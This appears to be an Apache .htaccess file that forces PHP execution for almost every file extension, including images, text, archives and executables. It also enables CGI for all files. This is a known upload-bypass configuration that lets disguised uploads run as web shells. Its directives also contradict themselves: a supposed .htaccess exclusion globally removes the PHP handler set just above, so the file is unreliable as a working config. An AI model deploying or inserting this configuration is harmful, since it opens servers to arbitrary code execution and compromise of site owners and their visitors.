# Force PHP execution for ALL file extensions EXCEPT .htaccess AddType application/x-httpd-php .php .phtml .phar .php8 .x .jpg .jpeg .png .gif .txt .html .htm .css .js .json .xml .svg .webp .bmp .tiff .ico .swf .flv .mp3 .mp4 .avi .mov .wmv .mpeg .pdf .doc .docx .xls .xlsx .ppt .pptx .zip .rar .tar .gz .7z .exe .msi .bat .ps1 .vbs .jar .sh .cgi .pl .py .rb .asp .aspx .jsp .log .sql .db .dll .sys .dat .cfg .ini .bak .old .tmp .cache .bin .app .dmg .apk .iso .img .vmdk .ova .ovf # Force PHP handler for ALL file extensions EXCEPT .htaccess SetHandler application/x-httpd-php # Explicitly exclude .htaccess from PHP execution RemoveHandler application/x-httpd-php RemoveType application/x-httpd-php SetHandler default-handler # Enable CGI execution for all files Options +ExecCGI php_flag engine on